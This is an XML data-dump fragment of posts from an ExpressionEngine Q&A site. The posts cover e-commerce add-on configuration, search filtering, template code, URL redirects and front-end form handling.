  <row Id="10516" PostTypeId="2" ParentId="10395" CreationDate="2013-05-18T10:24:42.410" Score="1" Body="&lt;p&gt;Currently the best method is to let the customer put in their address before you show them the shipping options. You can't very well calculate the shipping costs without their address anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could change the rules for your Australia shipping method so that the cost applies worldwide. This means that if someone selects it before they enter their shipping address, they will still see the correct price, instead of an error message.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-18T10:24:42.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10517" PostTypeId="2" ParentId="10163" CreationDate="2013-05-18T10:29:34.483" Score="1" Body="&lt;p&gt;Store has simple stock tracking facilities, but it shouldn't be used as a replacement for a proper accounting system. It is designed to let you limit the number of sales to however many you have in stock, and if you get more stock in you can update this number to allow customers to purchase the item again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, tracking incoming stock from suppliers, or generating reports of how many items need to be ordered is really beyond what Store was designed to do. You should probably look at writing your own module / queries to generate this data, or look at off the shelf accounting software which has a full inventory management system.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-18T10:29:34.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10518" PostTypeId="2" ParentId="10087" CreationDate="2013-05-18T10:32:30.293" Score="1" Body="&lt;p&gt;We will consider this, but it would need some major changes to how Store works, since every product would need to be marked as &quot;for sale&quot; or not. Generally the best idea is to put all of your products for sale in one channel, and if you have products which can not be purchased, create a separate channel for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be interested to hear more about the use case for this - what sort of products does your site have where some are for sale and some are not?&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-18T10:32:30.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10519" PostTypeId="2" ParentId="6636" CreationDate="2013-05-18T10:37:09.723" Score="2" Body="&lt;p&gt;This has been implemented in &lt;a href=&quot;https://exp-resso.com/docs/store/release_notes.html&quot; rel=&quot;nofollow&quot;&gt;Store 1.6.4&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now use wildcards when entering postcodes, such as &lt;code&gt;AB*&lt;/code&gt;, and it will match all postcodes starting with AB. As well as &lt;code&gt;*&lt;/code&gt; to match any number of characters, you can also use &lt;code&gt;?&lt;/code&gt; to represent any single character - for example, &lt;code&gt;123?&lt;/code&gt; would match &lt;code&gt;1234&lt;/code&gt; and &lt;code&gt;1235&lt;/code&gt;, but not &lt;code&gt;12345&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-18T10:37:09.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10520" PostTypeId="2" ParentId="10438" CreationDate="2013-05-18T15:32:34.760" Score="1" Body="&lt;p&gt;Installing latest version of RSVP (added today on Git) resolved the issue &lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-05-18T15:32:34.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10521" PostTypeId="1" AcceptedAnswerId="10528" CreationDate="2013-05-18T17:51:27.800" Score="0" ViewCount="465" Body="&lt;p&gt;I have been looking at using potentially Low Search to perform the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: A site that users can research high end stereo equipment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Required: Create a structure listing/channel for these with 2 custom multiple select fields for manufacturer and type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a front end page with a two dropdowns - Manufacturer and Type. Needs the potential to add other custom fields of the same multiple select field types such as colour or price range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I only have a couple of EE sites under my belt and never used Low Search, I was after an initial push to see if this is possible with Low Search and if Low or someone could help with the template code to get me going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA.&lt;/p&gt;&#xA;" OwnerUserId="1012" LastActivityDate="2013-05-19T08:59:53.507" Title="Using low search for custom field multiple select. A primer" Tags="|low-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10522" PostTypeId="1" AcceptedAnswerId="10523" CreationDate="2013-05-18T23:25:40.230" Score="1" ViewCount="174" Body="&lt;p&gt;I get the following error when attempting to save an external source using Assets 2.1.3 in EE 2.5.5:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method stdClass::result_array() in &#xA;/home/active/public_html/administrate-am/codeigniter/system/libraries/Javascript.php &#xA;on line 765&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea how to fix this? It looks like it's an issue with generating JSON, but I don't know how to fix it and it's kind of urgent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP 5.3.x, in case it matters.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2013-05-19T04:05:22.120" Title="Problem with External S3 Source in Assets 2.1.3 and EE 2.5.5" Tags="|ee2|assets|php|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10523" PostTypeId="2" ParentId="10522" CreationDate="2013-05-19T02:09:14.523" Score="3" Body="&lt;p&gt;This was a bug in Assets and will be fixed in the next release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, the patch is: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in mcp.assets.php in the save_source() method, line 1000 is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    'name' =&amp;gt; $name,&#xA;    'settings' =&amp;gt; Assets_helper::get_json((object) $save_data)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I changed it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    'name' =&amp;gt; $name,&#xA;    'settings' =&amp;gt; Assets_helper::get_json($save_data)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="139" LastEditDate="2013-05-19T04:05:22.120" LastActivityDate="2013-05-19T04:05:22.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10524" PostTypeId="1" CreationDate="2013-05-19T04:03:55.020" Score="0" ViewCount="445" Body="&lt;p&gt;I'm looking for a good solution for setting up a reservation/booking system as part of an ExpressionEngine website I am estimating for a client. I am ideally looking for something that will integrate with Cartthrob for payment for reservations. If anyone has a suggestion I would greatly appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brian Rivet&#xA;brian@odysseydesignstudio.com&lt;/p&gt;&#xA;" OwnerUserId="1160" LastActivityDate="2013-05-19T06:41:47.047" Title="Need help finding a way to set up a booking system for expressionengine" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10525" PostTypeId="2" ParentId="10491" CreationDate="2013-05-19T05:29:06.463" Score="0" Body="&lt;p&gt;When you set your list you have two layers of nested tags to parse, so use &lt;code&gt;parse_depth=&quot;2&quot;&lt;/code&gt; to tell Stash to parse both layers. You are also trying to capture a nested list 'blog_entries', but are not using a supported syntax. Please see the docs for an example of setting / getting nested lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry can't link to exact line in docs because I'm typing this on my phone - see the set_list section)&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-05-19T05:29:06.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10526" PostTypeId="2" ParentId="10524" CreationDate="2013-05-19T06:41:47.047" Score="1" Body="&lt;p&gt;There is always moreEvents ( &lt;a href=&quot;http://devot-ee.com/add-ons/moreevents&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/moreevents&lt;/a&gt; ) that allows you to sell event registrations with CartThrob. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-05-19T06:41:47.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10527" PostTypeId="2" ParentId="10521" CreationDate="2013-05-19T08:00:31.337" Score="0" Body="&lt;p&gt;Yes, you can use Low Search for multiple select fields. However, for the way you're wanting to use dropdowns to create filters you'd be wiser to use categories with Low Search instead. Low Search has some solid &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; for searching categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.screenflanders.be/nl/filmloket/location-database/&quot; rel=&quot;nofollow&quot;&gt;Here's a site&lt;/a&gt; that I recently built using Low Search where all the filters are built from categories.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-19T08:00:31.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10528" PostTypeId="2" ParentId="10521" CreationDate="2013-05-19T08:59:53.507" Score="1" Body="&lt;p&gt;Using categories, like Stephen suggested, will be more accurate, as you'll be filtering by IDs instead of strings. The problem with searching directly into multiple-select fields, is that you might get issues with substring matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;search:my_custom_field&lt;/code&gt; fields for searching the multiple selects, and you could use &lt;a href=&quot;https://github.com/lodewijk/low_options&quot; rel=&quot;nofollow&quot;&gt;Low Options&lt;/a&gt; to generate the list of options. You'd then get something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;search:my_custom_field[]&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;  {exp:low_options:my_custom_field}&#xA;    {options}&amp;lt;option value=&quot;{option:value}&quot;&amp;gt;{option:label}&amp;lt;/option&amp;gt;{/options}&#xA;  {/exp:low_options:my_custom_field}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This, by default, would be like setting a parameter &lt;code&gt;search:my_custom_field=&quot;option1|option2&quot;&lt;/code&gt; in the channel entries tag. You can change that to &lt;code&gt;search:my_custom_field=&quot;option1&amp;amp;&amp;amp;option2&quot;&lt;/code&gt; &#xA;by adding &lt;code&gt;require_all=&quot;search:my_custom_field&quot;&lt;/code&gt; to the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag&quot; rel=&quot;nofollow&quot;&gt;Form tag&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-05-19T08:59:53.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10529" PostTypeId="1" CreationDate="2013-05-19T11:07:30.667" Score="1" ViewCount="106" Body="&lt;p&gt;I'm trying to find a way to highlight the 10 most recent entries within an alphabetically sorted list of entries from a particular channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't wish to change the order of the entries, just have the ability to put some custom markup around the most recent ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to do that or am I going to need to use a custom query instead of using channel:entries tag pair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently thinking along the lines of having to do a query to get the entry IDs of the most recent 10 entries, storing those entry IDs and comparing them to the entry IDs when outputting my full list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's got to be an add-on for this though right?!&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-05-19T11:21:29.460" LastActivityDate="2013-06-18T14:39:06.793" Title="How to highlight 10 most recent entries from a channel?" Tags="|query|entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10530" PostTypeId="1" AcceptedAnswerId="10553" CreationDate="2013-05-19T11:08:49.703" Score="0" ViewCount="297" Body="&lt;p&gt;An easy one here, I think!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel field that is a text field. This field holds a numerical value, (between 1-12)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating a safecracker form to add entires from the front end. Can I use a select drop down with the values 1-12 to complete this text field or does the actual channel field need to be a dropdown type?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-05-20T19:49:09.583" Title="Safecracker: Use a select dropdown to enter a text field?" Tags="|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10531" PostTypeId="2" ParentId="10529" CreationDate="2013-05-19T11:41:19.153" Score="2" Body="&lt;p&gt;Try to use embed to set and pass ahead a variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;template_group/.entries-list&quot; eleventh=&quot;{exp:channel:entries offset='10'}{edit_date format='%U'}{exp:channel:entries}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the embed template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {if {edit_date format=&quot;%U&quot;} &amp;lt; {embed:eleventh} }&#xA;        &amp;lt;custom markup&amp;gt;&#xA;    {/if}&#xA;        default markup (...)&#xA;    {if {edit_date format=&quot;%U&quot;} &amp;lt; {embed:eleventh} }&#xA;        &amp;lt;/custom markup&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-05-19T13:33:25.927" LastActivityDate="2013-05-19T13:33:25.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10532" PostTypeId="2" ParentId="10529" CreationDate="2013-05-19T13:50:39.700" Score="2" Body="&lt;p&gt;You can probably do this with &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this code, but it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, output/stash the entries by date.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries orderby=&quot;date&quot; ...}&#xA;  {exp:stash:set_list name=&quot;entries&quot;}&#xA;    {stash:title}{title}{/stash:title}&#xA;    {stash:is_recent}{if count &amp;lt; 11}true{/if}{/stash:is_recent}&#xA;  {/exp:stash:set_list}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then instead, sort appropriately using the stash output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:stash:get_list name=&quot;entries&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;  &amp;lt;li {if is_recent}class=&quot;recent&quot;{/if}&amp;gt;&#xA;    {title}&#xA;  &amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-05-19T13:50:39.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10533" PostTypeId="2" ParentId="10504" CreationDate="2013-05-19T15:38:02.007" Score="6" Body="&lt;p&gt;Textbook use case for Stash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blog|news|press_releases&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;50&quot;&#xA;}&#xA;  {exp:stash:append_list name=&quot;entries&quot; context=&quot;{channel_short_name}&quot;}&#xA;    {stash:url_title}{url_title}{/stash:url_title}&#xA;    {stash:title}{title}{/stash:title}&#xA;  {/exp:stash:append_list}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;{exp:stash:get_list name=&quot;entries&quot; context=&quot;blog&quot; process=&quot;end&quot;}&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='blog/{url_title}'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&#xA;{exp:stash:get_list name=&quot;entries&quot; context=&quot;news&quot; process=&quot;end&quot;}&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='news/{url_title}'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&#xA;{exp:stash:get_list name=&quot;entries&quot; context=&quot;press_releases&quot; process=&quot;end&quot;}&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='press_releases/{url_title}'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastEditorUserId="289" LastEditDate="2013-05-20T21:52:46.690" LastActivityDate="2013-05-20T21:52:46.690" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10534" PostTypeId="1" AcceptedAnswerId="10538" CreationDate="2013-05-19T15:44:10.720" Score="0" ViewCount="429" Body="&lt;p&gt;I've got a blog the url structure like this and strict urls's turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.site.com/blog&#xA;This lists all the blog entries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.site.com/blog/post/url_title&#xA;This is the single entry page displaying the entry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if www.site.com/blog/foo they'll still get a full list of blog entries. Would it be a good practice to add this at the top of /blog to prevent it happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if segment_2 AND segment_3 == ''}&#xA;  {redirect=&quot;404&quot;}&#xA;{/if}&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-07-06T16:32:24.027" Title="Is this how to redirect when using strict urls?" Tags="|templates|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10535" PostTypeId="2" ParentId="10534" CreationDate="2013-05-19T16:13:43.983" Score="0" Body="&lt;p&gt;If there are only going to be 2 pages in your example, you could something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;blog&quot;}&#xA;     {if segment_2 != &quot;&quot;}&#xA;          {if segment_2 != &quot;post&quot;}{redirect=&quot;404&quot;}{/if}&#xA;          {if segment_3 == &quot;&quot;}{redirect=&quot;404&quot;}{/if}&#xA;     {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;(edited: removed incorrect parsing comment, see Ian's comment)&lt;/p&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2013-07-06T16:32:24.027" LastActivityDate="2013-07-06T16:32:24.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10536" PostTypeId="2" ParentId="10530" CreationDate="2013-05-19T16:15:18.507" Score="1" Body="&lt;p&gt;I've not directly tested but I'm fairly sure it's no problem to use a dropdown field on the front-end via a safecracker form to pass that value. Both a regular text input and the select boxes rely on the &lt;code&gt;value&lt;/code&gt; parameter and this will be what's sent through on form submission so it should be fine.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-19T16:15:18.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10537" PostTypeId="2" ParentId="10534" CreationDate="2013-05-19T18:40:35.620" Score="0" Body="&lt;p&gt;Also check the &quot;require_entry&quot; parameter (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#require-entry&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#require-entry&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one of my single entry blog templates I have a configuration like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; oderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;{if no_results}{redirect=&quot;404&quot;}{/if}&#xA;{if segment_4 != &quot;&quot;}{redirect=&quot;404&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2013-05-19T18:40:35.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10538" PostTypeId="2" ParentId="10534" CreationDate="2013-05-19T19:12:30.907" Score="1" Body="&lt;p&gt;Personally I'd look to handle this at the server level in my .htaccess file so it keeps the template files a little cleaner and doesn't fire up EE's template parser when it's not needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this should forward them on to the requested page but with the correct directory inserted into the URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 /blog/(.*) http://domain.com/blog/post/$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's good for SEO purposes as it's set as a permanent redirect and it means they'll actually be forwarded on to the correct URL rather than meet with a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then just maybe keep the &lt;code&gt;{if no_results}{redirect=&quot;404&quot;}{/if}&lt;/code&gt; in the template to catch anything which doesn't actually exist.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-19T19:12:30.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10539" PostTypeId="1" CreationDate="2013-05-19T22:16:52.850" Score="0" ViewCount="82" Body="&lt;p&gt;I have some products setup in Store with a variation modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the options column if I edit option values it seems to stop prices from displaying in the templates, unless I save the entry twice, and then it displays!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in my store entry I have a product with these values in the options fields:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic&lt;br&gt;&#xA;Complete: basic product + addon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on my shop index template i am using this tag (which i'm assuming displays the based price without modifiers):&lt;br&gt;&#xA;{cf_shop_product_details:price_inc_tax}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i save the entry, no price shows up in the template.  If i resave the entry (making no changes), the base price then shows! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.4.0&lt;br&gt;&#xA;Store 1.6.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I've found that if i edit the modifiers, i have to click on the stock field (the names then update there too) in order to make the tag display correctly.  Opening the entry again have the same effect of making the stock field update.&lt;/p&gt;&#xA;" OwnerUserId="807" LastEditorUserId="807" LastEditDate="2013-05-21T00:17:51.463" LastActivityDate="2013-05-21T00:17:51.463" Title="Store - Bug, updating modifier name disables field_name:price?" Tags="|expresso-store|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10540" PostTypeId="2" ParentId="10466" CreationDate="2013-05-20T13:02:22.553" Score="3" Body="&lt;p&gt;From your code samples, it looks like you have several different custom fields that generate the tabs–so there is really no &lt;em&gt;clean&lt;/em&gt; way of 'hard-coding' in the first active tab. If your tab structure was within a custom field loop, it would be easy with the &lt;code&gt;{count}&lt;/code&gt; variable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using jQuery, you could do this to add the class names:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.tabs dd:first').addClass('active');&#xA;$('.tabs dd').not(':first').addClass('hide-for-small');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;2nd Option&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Using advanced conditionals, but it gets messy quick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dl class=&quot;tabs contained&quot;&amp;gt;&#xA;    {if &quot;{products_related_products:total_children}&quot;}&#xA;        &amp;lt;dd class=&quot;active&quot;&amp;gt;&amp;lt;a href=&quot;#simpleContained1&quot;&amp;gt;&amp;lt;!-- Gerelateerde producten --&amp;gt;{bbr-mls-54}&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if &quot;{products_related_lexicon:total_children}&quot;}&#xA;        &amp;lt;dd class=&quot;{if products_related_products:total_children == 0}active{if:else}hide-for-small{/if}&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#simpleContained2&quot;&amp;gt;&amp;lt;!-- Gerelateerde lexicon --&amp;gt;{bbr-mls-57}&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if products_additional_remarks_{language_code}}&#xA;        &amp;lt;dd class=&quot;{if products_related_products:total_children == 0 &amp;amp;&amp;amp; products_related_lexicon:total_children == 0}active{if:else}hide-for-small{/if}&quot;&amp;gt;&amp;lt;a href=&quot;#simpleContained3&quot;&amp;gt;&amp;lt;!-- Bijkomende opmerkingen --&amp;gt;{bbr-mls-53}&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if products_videos_{language_code}}&#xA;        &amp;lt;dd class=&quot;{if products_related_products:total_children == 0 &amp;amp;&amp;amp; products_related_lexicon:total_children == 0 &amp;amp;&amp;amp; products_additional_remarks_{language_code} == &quot;&quot;}active{if:else}hide-for-small{/if}&amp;gt;&amp;lt;a href=&quot;#simpleContained4&quot;&amp;gt;&amp;lt;!-- Video --&amp;gt;Video&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if {exp:playa:total_parents channel=&quot;downloads&quot;}!=&quot;0&quot;}&#xA;        &amp;lt;dd class=&quot;{if products_related_products:total_children == 0 &amp;amp;&amp;amp; products_related_lexicon:total_children == 0 &amp;amp;&amp;amp; products_additional_remarks_{language_code} == &quot;&quot; &amp;amp;&amp;amp; products_videos_{language_code} == &quot;&quot;}active{if:else}hide-for-small{/if}&amp;gt;&amp;lt;a href=&quot;#simpleContained5&quot;&amp;gt;&amp;lt;!-- Downloads --&amp;gt;Downloads&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    {/if}&#xA;&amp;lt;/dl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-05-20T13:34:59.017" LastActivityDate="2013-05-20T13:34:59.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10541" PostTypeId="2" ParentId="10494" CreationDate="2013-05-20T13:55:49.780" Score="2" Body="&lt;p&gt;It turns out that there is no error with my site, just that 'limit stock' was turned on, and everything was set to '1' in the inventory!&#xA;This means that only 1 item could be added to the cart anyway (but no error message meant that it wasn't clear what then issue was)&lt;/p&gt;&#xA;" OwnerUserId="1517" LastActivityDate="2013-05-20T13:55:49.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10542" PostTypeId="1" CreationDate="2013-05-20T14:25:00.573" Score="1" ViewCount="430" Body="&lt;p&gt;Has anyone successfully setup a jQuery file uploader with safecracker?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking to have a jQuery file uploader in a safecracker form for a new project I am about to start. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance, or experience in the matter would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-09-29T17:50:22.873" Title="Has anyone successfully setup a jQuery file uploader with safecracker?" Tags="|safecracker|file-uploads|jquery|safecracker-file|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10544" PostTypeId="1" AcceptedAnswerId="10545" CreationDate="2013-05-20T15:05:31.893" Score="0" ViewCount="251" Body="&lt;p&gt;Does anyone no how to style the standard EE success/error page that appears after submitting a simple form? It would be nice not to have this default page and style.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-05-20T15:29:38.767" Title="Form Submit Error Page and Success Page" Tags="|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10545" PostTypeId="2" ParentId="10544" CreationDate="2013-05-20T15:29:38.767" Score="1" Body="&lt;p&gt;You should go to CP -&gt; Design -&gt; Message Pages -&gt; User Messages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see the User Message template and can style accordingly.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-20T15:29:38.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10546" PostTypeId="2" ParentId="6333" CreationDate="2013-05-20T16:45:21.320" Score="1" Body="&lt;p&gt;There is actually a better answer to this question. Here is the updated code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.tabs&quot;).tabs({&#xA;    show: function() {&#xA;        if(Gmap.instances.length &amp;gt; 0) {&#xA;            Gmap.instances[0].resize();&#xA;        }  &#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-05-20T16:45:21.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
